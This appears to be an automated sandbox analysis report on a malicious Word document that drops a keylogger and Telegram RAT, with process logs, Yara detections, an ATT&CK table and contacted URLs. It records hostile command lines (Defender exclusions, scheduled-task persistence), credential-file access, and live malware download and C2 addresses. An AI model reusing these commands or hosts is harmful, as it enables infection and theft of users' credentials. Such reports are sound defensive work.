Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\swagodi78811.scr"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\gRpkBp.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\gRpkBp.exe"
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\gRpkBp.exe"

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Memory written: C:\Users\user\AppData\Roaming\swagodi78811.scr base: 400000 value starts with: 4D5A			Jump to behavior
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Memory written: C:\Users\user\AppData\Roaming\gRpkBp.exe base: 400000 value starts with: 4D5A

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\swagodi78811.scr "C:\Users\user\AppData\Roaming\swagodi78811.scr"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\swagodi78811.scr"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\gRpkBp.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\gRpkBp" /XML "C:\Users\user\AppData\Local\Temp\tmpD135.tmp"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process created: C:\Users\user\AppData\Roaming\swagodi78811.scr "C:\Users\user\AppData\Roaming\swagodi78811.scr"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process created: C:\Users\user\AppData\Roaming\swagodi78811.scr "C:\Users\user\AppData\Roaming\swagodi78811.scr"	Jump to behavior
Source: C:\Windows\System32\taskeng.exe	Process created: C:\Users\user\AppData\Roaming\gRpkBp.exe C:\Users\user\AppData\Roaming\gRpkBp.exe
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\gRpkBp.exe"
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\gRpkBp.exe"
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\gRpkBp" /XML "C:\Users\user\AppData\Local\Temp\tmpED3D.tmp"
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Process created: C:\Users\user\AppData\Roaming\gRpkBp.exe "C:\Users\user\AppData\Roaming\gRpkBp.exe"

Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Queries volume information: C:\Users\user\AppData\Roaming\swagodi78811.scr VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.BackgroundIntelligentTransfer.Management\1.0.0.0__31bf3856ad364e35\Microsoft.BackgroundIntelligentTransfer.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Windows.Diagnosis.TroubleshootingPack\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\Microsoft.Windows.Diagnosis.SDEngine\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.SDEngine.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.BackgroundIntelligentTransfer.Management\1.0.0.0__31bf3856ad364e35\Microsoft.BackgroundIntelligentTransfer.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Windows.Diagnosis.TroubleshootingPack\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\Microsoft.Windows.Diagnosis.SDEngine\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.SDEngine.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Queries volume information: C:\Users\user\AppData\Roaming\swagodi78811.scr VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Queries volume information: C:\Users\user\AppData\Roaming\gRpkBp.exe VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.BackgroundIntelligentTransfer.Management\1.0.0.0__31bf3856ad364e35\Microsoft.BackgroundIntelligentTransfer.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Windows.Diagnosis.TroubleshootingPack\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\Microsoft.Windows.Diagnosis.SDEngine\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.SDEngine.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.BackgroundIntelligentTransfer.Management\1.0.0.0__31bf3856ad364e35\Microsoft.BackgroundIntelligentTransfer.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Windows.Diagnosis.TroubleshootingPack\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\Microsoft.Windows.Diagnosis.SDEngine\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.SDEngine.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Queries volume information: C:\Users\user\AppData\Roaming\gRpkBp.exe VolumeInformation

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Snake Keylogger

Source: Yara match	File source: 00000014.00000002.663684485.00000000023F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.663663825.00000000022F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 10.2.swagodi78811.scr.316cb90.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.swagodi78811.scr.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.swagodi78811.scr.3129570.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.swagodi78811.scr.316cb90.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.swagodi78811.scr.3129570.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000014.00000002.663140063.000000000042B000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.412121084.0000000003129000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: swagodi78811.scr PID: 3468, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: swagodi78811.scr PID: 3880, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: gRpkBp.exe PID: 2060, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match	File source: 10.2.swagodi78811.scr.316cb90.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.swagodi78811.scr.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.swagodi78811.scr.3129570.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.swagodi78811.scr.316cb90.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.swagodi78811.scr.3129570.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000014.00000002.663140063.000000000042B000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.412121084.0000000003129000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: swagodi78811.scr PID: 3468, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: swagodi78811.scr PID: 3880, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\			Jump to behavior
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\

Source: Yara match	File source: 10.2.swagodi78811.scr.316cb90.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.swagodi78811.scr.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.swagodi78811.scr.3129570.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.swagodi78811.scr.316cb90.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.swagodi78811.scr.3129570.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000014.00000002.663140063.000000000043C000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.412121084.0000000003129000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: swagodi78811.scr PID: 3468, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: swagodi78811.scr PID: 3880, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: gRpkBp.exe PID: 2060, type: MEMORYSTR

Remote Access Functionality

Yara detected Snake Keylogger

Source: Yara match	File source: 00000014.00000002.663684485.00000000023F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.663663825.00000000022F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 10.2.swagodi78811.scr.316cb90.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.swagodi78811.scr.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.swagodi78811.scr.3129570.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.swagodi78811.scr.316cb90.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.swagodi78811.scr.3129570.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000014.00000002.663140063.000000000042B000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.412121084.0000000003129000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: swagodi78811.scr PID: 3468, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: swagodi78811.scr PID: 3880, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: gRpkBp.exe PID: 2060, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match	File source: 10.2.swagodi78811.scr.316cb90.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.swagodi78811.scr.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.swagodi78811.scr.3129570.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.swagodi78811.scr.316cb90.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.swagodi78811.scr.3129570.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000014.00000002.663140063.000000000042B000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.412121084.0000000003129000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: swagodi78811.scr PID: 3468, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: swagodi78811.scr PID: 3880, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	33 Exploitation for Client Execution	1 Scripting	1 DLL Side-Loading	11 Disable or Modify Tools	1 OS Credential Dumping	1 File and Directory Discovery	Remote Services	1 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	1 DLL Side-Loading	111 Process Injection	3 Obfuscated Files or Information	LSASS Memory	13 System Information Discovery	Remote Desktop Protocol	1 Data from Local System	4 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	1 Scheduled Task/Job	1 Install Root Certificate	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	1 Email Collection	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	31 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	11 Masquerading	Cached Domain Credentials	1 Remote System Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	31 Virtualization/Sandbox Evasion	DCSync	1 System Network Configuration Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	111 Process Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
order072724.docx.doc	42%	ReversingLabs	Document-Office.Exploit.CVE-2017-0199

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{1C83C99B-998E-4DEF-B324-E69763DD529E}.tmp	100%	Avira	EXP/CVE-2018-0798.Gen
C:\Users\user\AppData\Roaming\swagodi78811.scr	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\gRpkBp.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\swagodi[1].scr	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://ocsp.entrust.net03	0%	URL Reputation	safe
http://www.diginotar.nl/cps/pkioverheid0	0%	URL Reputation	safe
http://checkip.dyndns.org/	0%	URL Reputation	safe
http://checkip.dyndns.org/q	0%	URL Reputation	safe
http://reallyfreegeoip.org	0%	URL Reputation	safe
http://checkip.dyndns.com	0%	URL Reputation	safe
http://ocsp.entrust.net0D	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://reallyfreegeoip.org/xml/	0%	URL Reputation	safe
http://crl.entrust.net/server1.crl0	0%	URL Reputation	safe
http://checkip.dyndns.org	0%	URL Reputation	safe
https://reallyfreegeoip.org/xml/8.46.123.33	0%	URL Reputation	safe
https://www.chiark.greenend.org.uk/~sgtatham/putty/0	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://reallyfreegeoip.org	0%	URL Reputation	safe
https://secure.comodo.com/CPS0	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
http://crl.entrust.net/2048ca.crl0	0%	URL Reputation	safe
https://duckduckgo.com/chrome_newtab	0%	Avira URL Cloud	safe
https://api.telegram.org	0%	Avira URL Cloud	safe
http://reallyfreegeoip.orgX	0%	Avira URL Cloud	safe
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:528110%0D%0ADate%20a	0%	Avira URL Cloud	safe
https://www.google.com/sorry/index?continue=https://www.google.com/search%3Fq%3Dwmf%2B5.1%26oq%3Dwmf	0%	Avira URL Cloud	safe
https://api.telegram.org/bot	0%	Avira URL Cloud	safe
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	0%	Avira URL Cloud	safe
https://meridianresourcellc.top/swagodi.scrj	100%	Avira URL Cloud	malware
http://api.telegram.orgX	0%	Avira URL Cloud	safe
https://duckduckgo.com/ac/?q=	0%	Avira URL Cloud	safe
https://reallyfreegeoip.org/xml/8.46.123.334	0%	Avira URL Cloud	safe
https://meridianresourcellc.top/swagodi.scrsoC:	100%	Avira URL Cloud	malware
https://www.google.com/search?q=wmf	0%	Avira URL Cloud	safe
https://download.visualstud	0%	Avira URL Cloud	safe
https://meridianresourcellc.top/	100%	Avira URL Cloud	malware
http://varders.kozow.com:8081	0%	Avira URL Cloud	safe
http://checkip.dyndns.org/X	0%	Avira URL Cloud	safe
https://meridianresourcellc.top/swagodi.doc	100%	Avira URL Cloud	phishing
https://www.google.com/search?q=test&oq=test&aqs=chrome..69i57j46j0l3j46j0.427j0j7&sourceid=chrome&i	0%	Avira URL Cloud	safe
https://meridianresourcellc.top/swagodi.scr	100%	Avira URL Cloud	malware
https://reallyfreegeoip.org/xml/8.46.123.330Kp	0%	Avira URL Cloud	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	Avira URL Cloud	safe
http://schemas.microsoftXT7/windows/2004/02/mit/tas	0%	Avira URL Cloud	safe
http://ocsp.c	0%	Avira URL Cloud	safe
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:528110%0D%0ADate%20and%20Time:%207/27/2024%20/%207:26:36%20AM%0D%0ACountry%20Name:%20United%20States%0D%0A[%20528110%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20]	0%	Avira URL Cloud	safe
https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search	0%	Avira URL Cloud	safe
https://api.telegram.org/bot/sendMessage?chat_id=&text=	0%	Avira URL Cloud	safe
https://www.google.com/favicon.ico	0%	Avira URL Cloud	safe
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:528110%0D%0ADate%20and%20Time:%207/27/2024%20/%2010:06:41%20AM%0D%0ACountry%20Name:%20United%20States%0D%0A[%20528110%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20]	0%	Avira URL Cloud	safe
http://aborters.duckdns.org:8081	0%	Avira URL Cloud	safe
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	0%	Avira URL Cloud	safe
https://www.google.com/sorry/index?continue=https://www.google.com/search%3Fq%3Dtest%26oq%3Dtest%26a	0%	Avira URL Cloud	safe
https://meridianresourcellc.top/swagodi.scrllC:	100%	Avira URL Cloud	malware
https://www.google.com/sorry/index	0%	Avira URL Cloud	safe
http://anotherarmy.dns.army:8081	100%	Avira URL Cloud	malware
https://www.google.com/search?q=net	0%	Avira URL Cloud	safe
https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	Avira URL Cloud	safe
http://api.telegram.org	0%	Avira URL Cloud	safe
http://checkip.dyndns.comX	0%	Avira URL Cloud	safe
http://checkip.dyndns.orgX	0%	Avira URL Cloud	safe
https://www.google.com/sorry/indextest	0%	Avira URL Cloud	safe
http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
meridianresourcellc.top	104.21.52.88	true	true	unknown
reallyfreegeoip.org	188.114.97.3	true	true	unknown
api.telegram.org	149.154.167.220	true	true	unknown
checkip.dyndns.com	132.226.247.73	true	false	unknown
checkip.dyndns.org	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://checkip.dyndns.org/	false	URL Reputation: safe	unknown
https://meridianresourcellc.top/swagodi.doc	true	Avira URL Cloud: phishing	unknown
https://meridianresourcellc.top/swagodi.scr	true	Avira URL Cloud: malware	unknown
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:528110%0D%0ADate%20and%20Time:%207/27/2024%20/%207:26:36%20AM%0D%0ACountry%20Name:%20United%20States%0D%0A[%20528110%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20]	false	Avira URL Cloud: safe	unknown
https://reallyfreegeoip.org/xml/8.46.123.33	false	URL Reputation: safe	unknown
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:528110%0D%0ADate%20and%20Time:%207/27/2024%20/%2010:06:41%20AM%0D%0ACountry%20Name:%20United%20States%0D%0A[%20528110%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20]	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://reallyfreegeoip.orgX	swagodi78811.scr, 00000014.00000002.663684485.0000000002540000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.00000000024B4000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.0000000002595000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.0000000002586000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.000000000255E000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.000000000254E000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.000000000252B000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002493000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002482000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.00000000023B1000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.000000000243E000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002457000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.000000000242C000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002449000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.00000000024A1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
